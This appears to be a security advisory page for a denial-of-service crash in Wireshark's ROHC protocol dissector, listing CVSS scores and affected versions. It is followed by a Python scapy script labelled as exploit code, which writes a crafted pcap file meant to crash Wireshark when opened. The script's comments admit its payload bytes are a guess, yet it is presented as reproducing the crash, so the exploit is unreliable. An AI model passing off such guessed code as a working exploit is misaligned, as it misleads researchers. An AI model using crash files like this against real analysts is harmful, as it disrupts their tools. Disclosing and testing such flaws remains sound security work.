ROHC protocol dissector crash in Wireshark 4.6.0 to 4.6.5 and 4.4.0 to 4.4.15 allows denial of service
CVSS Details
CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Wireshark 4.6.0 to 4.6.5
Wireshark 4.4.0 to 4.4.15
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-9759 (Wireshark ROHC Dissector Crash)
# This script generates a malformed pcap file that may trigger the crash.
# Usage: python3 poc.py
from scapy.all import *
# Construct a malformed ROHC packet over UDP
# ROHC typically runs over IP/UDP, here we simulate a crafted payload
# that targets the parsing logic of the dissector.
# IP header
ip = IP(src="192.168.1.1", dst="192.168.1.2")
# UDP header (commonly used transport for ROHC profiles)
udp = UDP(sport=12345, dport=12345)
# Malformed payload designed to trigger the dissector panic
# The specific bytes depend on the vulnerability details,
# representing an invalid ROHC profile or segment.
malformed_payload = b'\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00\x00\x00'
# Assemble the packet
pkt = ip/udp/malformed_payload
# Save to pcap file
wrpcap('cve_2026_9759_crash.pcap', pkt)
print("[+] Malformed pcap file generated: cve_2026_9759_crash.pcap")
print("[+] Open this file in Wireshark 4.4.x - 4.6.5 to reproduce the crash.")